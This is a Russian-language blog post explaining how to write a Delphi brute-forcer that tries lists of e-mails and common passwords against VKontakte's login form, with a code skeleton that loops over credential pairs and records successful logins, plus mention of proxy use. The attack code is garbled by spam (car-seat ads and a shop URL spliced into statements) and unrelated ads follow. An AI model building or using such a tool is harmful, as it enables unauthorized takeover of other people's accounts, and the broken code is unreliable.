Моя скромная попытка сделать интересное реальным
Что ж прежде, чем приступить к изложению своих мыслей по теме, оговорюсь, что вся представленная информация является следствием природного любопытства и никакого злого умысла в себе не несет. Использовать ее вы можете лишь на свой страх и риск, я за это никакой ответственности ни несу, просто делюсь опытом.
Вообще, на реализацию основного программного кода у меня ушло от силы 30 минут, остальные же полтора часа я убил на разработку красивого GUI, обработку в фотошопе логотипа в «контакте» и прочую мишуру… =) И так, это не учебник для начинающих и описывать пошаговые действия я не буду, лишь расскажу общую концепцию действий и приведу программный код. Статья расчита на то, что вы владеете основными навыками написаний приложений в среде Delphi и хотя бы как то знакомы с принципами взаимодействия Делфи-Интернет.
Как известно брут это тупой подбор пароля, либо по словарю, либо вообще случайным образом. Соответственно, каким образом можно осуществить подбор пароля к сайту Вконтакте, а для начала – что нам понадобится? Авторизация на сайте происходит по средствам ввода e-mail адреса и пароля, значит, у нас должно быть: список e-mail адресов (любой - в контакте больше 10 миллионов пользователей и любой список, даже двух летней давности скорей всего даст результат), к этим адресам мы будем подбирать пароли, и, собственно, сам список паролей либо просто один распространенный пароль (например «qwerty» или «123456»).
Отлично. Теперь разберем план действий, который в принципе просто элементарен. Просмотрев HTML код главной страницы в контакте можно выяснить следующее:
В итоге нам нужно реализовать следующий алгоритм:
По данной схеме: «Действие 1» – действие в случае если пара логин/пароль подошла (то есть удачно подобрали), «Действие 2» – соответственно наоборот, не подошла.
Условие «подошло?» подразумевает проверку ответа сервера, я не придумал ничего умнее кроме как искать в ответе (сервер «отвечает» HTML код страницы) строку «<title>В Контакте | Вход</title>», то есть если сервер опять отправил нас на страницу входа, то значит пара логин/пароль не подошла, соответственно если этой строки нет – поздравляю мы вошли в чей-то аккаунт!
Приступим непосредственно к кодингу. Для работы с HTTP протоколом я выбрал компоненты Indy (класс TidHTTP), конечно это не лучший вариант, можно было использовать сокеты, но что уж поделаешь лентяй я… )))
В моем примере:
Код:
procedure Brute(); var emails:TStingList; // список мыл pass:TStingList; // список паролей post:TStingList; // список полей пост запроса i,j:integer; // счетчики циклов begin email:=TStringList.Create; pass:=TStringList.Create; // Инициализируем переменные // ================================================ // тут заполняем мыла и пароли, а лучше грузим из файла // ================================================ http:=TidHTTP.Create(nil); // создаем HTTPClient http.HandleRedirects автокресло kiddy infinity pro 2009, Детское автокресло kiddy infinity pro :=true; // это необходимо post:=tstringlist.Create; // этот стринг лист содержит поля e-mail и пароль for i:=0 to emails.Count-1 do begin // перебираем в цикле мыльники post.Clear; // отчищаем post.Add('email='+emails.Strings[i]); // указываем e-mail for j:=0 to pass.Count-1 do begin // перебираем пароли для выбранного мыльника post.Add('pass='+pass.Strings[j]); // указываем пароль result: http://bebiki.ru/katalog/products/vannochki/cam-stol-dlja-pelenanija-nuvola =http.Post('/',post); // посылаем запрос if pos('',result)>0 then // проверяем ответ // неудачно подобрали. какое то действие else // удачно подобрали. какое то действие, например записать в файл пару мыло/пароль end; end; // освободим переменные emails.Free; pass.Free; http.Free; post.Free; end; |
Конечно, это просто кусок основного кода, но я подробного расписал алгоритм и человеку с руками ничего не стоит доделать это все до «нормального» вида, прикрутить потоки и т.д.
В конечном итоге, помимо потоков в моем варианте я добавил еще и работу через прокси-сервер, выглядит это так:
Приятного кодинга! И не забывайте про УК РФ, все-таки «контакт» довольно крупный, и к тому же российский ресурс! =)
Это блог очень жизнерадостного человека, а точнее полноценная копилка мыслей и идей. Здесь я выкладываю свои, статьи, работы делюсь опытом и учусь сам. =) Всю более подробную информацию вы можете узнать, посетив разделы «О сайте» и «Есть идея?», так что пересказывать ее здесь я не буду. В разделе «Контакты» вы легко сможете найти всю необходимую информацию, чтобы связаться со мной.
|
Gala Путешествия Избранные туры в ИорданиюВсе туры в Иорданию " |
Хакасия - Саяногорск Хакасия - Саяногорск > Реклама, обьявления > Бесплатные форумы IPB 2_0_2,phpBB ещё 3 версииIPB |
УРАЛВНЕШТОРГ - продажа отечественной и импортной спецтехники: тракторы ... Дорожная строительная техника Импортная строительная техника |
Мебельная Международная выставка пройдет с 18 по 20 августа в Китае - Отдых в ... Основные разделы выставки - мебель для дома, для различных специализированных организаций (гостиниц, больниц, ресторанов, школ и так далее), офисная ... Каждый месяц руководители и главные специалисты Сибирского региона, при организационно-информационном обеспечении Международной Информационной Группы ... |
Оставить комментарий